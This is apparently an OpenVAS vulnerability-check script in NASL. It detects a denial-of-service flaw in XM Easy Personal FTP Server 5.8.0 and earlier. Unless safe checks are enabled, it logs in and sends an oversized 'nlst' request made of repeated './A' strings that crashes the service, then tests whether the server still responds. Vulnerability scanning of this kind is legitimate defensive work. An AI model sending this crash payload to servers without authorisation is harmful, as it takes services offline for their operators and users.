XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_xm_easy_personal_ftp_dos_vuln.nasl 4970 2017-01-09 15:00:59Z teissa $
#
# XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability
#
# Authors:
# Sharath S <[email protected]>
#
# Updated to CVE-2009-4048
#  - By Maneesh KB <[email protected]> on 2009-11-24 #5879
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attackers to cause a Denial of
Service in the affected application.

Impact Level: Application";

tag_affected = "Dxmsoft, XM Easy Personal FTP Server version 5.8.0 and prior";

tag_insight = "The flaws are due to,
- An error when processing directory listing FTP requests. This can be 
exploited to terminate the FTP service via overly large 'LIST' or 
'NLST' requests.

- An error when handling certain FTP requests. By sending a specially-
  crafted request to the APPE or DELE commands, a remote authenticated
  attacker could cause the server to stop responding.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running XM Easy Personal FTP Server and is prone to
Denial of Service vulnerability.";

if(description)
{
  script_id(801120);
  script_version("$Revision: 4970 $");
  script_tag(name:"last_modification", value:"$Date: 2017-01-09 16:00:59 +0100 (Mon, 09 Jan 2017) $");
  script_tag(name:"creation_date", value:"2009-10-22 15:34:45 +0200 (Thu, 22 Oct 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2009-3643", "CVE-2009-4048");
  script_bugtraq_id(37016, 36969);
  script_name("XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/36941/");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/54277");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/53643");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/0910-exploits/XM-ftp-dos.txt");

  script_tag(name:"qod_type", value:"remote_banner");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
  script_family("FTP");
  script_dependencies("gb_xm_easy_personal_ftp_detect.nasl", "secpod_ftp_anonymous.nasl");
  script_require_keys("XM-Easy-Personal-FTP/Ver");
  script_require_ports("Services/ftp", 21);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


include("ftp_func.inc");
include("version_func.inc");

xmPort = get_kb_item("Services/ftp");
if(!xmPort){
  exit(0);
}

xmVer = get_kb_item("XM-Easy-Personal-FTP/Ver");
if(isnull(xmVer)){
  exit(0);
}

if(!safe_checks())
{
  soc1 = open_sock_tcp(xmPort);
  if(soc1)
  {
    user = get_kb_item("ftp/login");
    if(!user){
      user = "anonymous";
    }

    pass = get_kb_item("ftp/password");
    if(!pass){
      pass = string("anonymous");
    }

    ftplogin = ftp_log_in(socket:soc1, user:user, pass:pass);
    if(ftplogin)
    {
      send(socket:soc1, data:string("nlst ", crap(length: 6300, data:"./A")));
      close(soc1);

      soc2 = open_sock_tcp(xmPort);
      resp = ftp_recv_line(socket:soc2);
      if(!resp)
      {
        security_message(xmPort);
        exit(0);
      }
      close(soc2);
    }
  }
}

# Check for XM Easy Personal FTP Server versions <= 5.8.0
if(version_is_less_equal(version:xmVer, test_version:"5.8.0")){
  security_message(xmPort);
}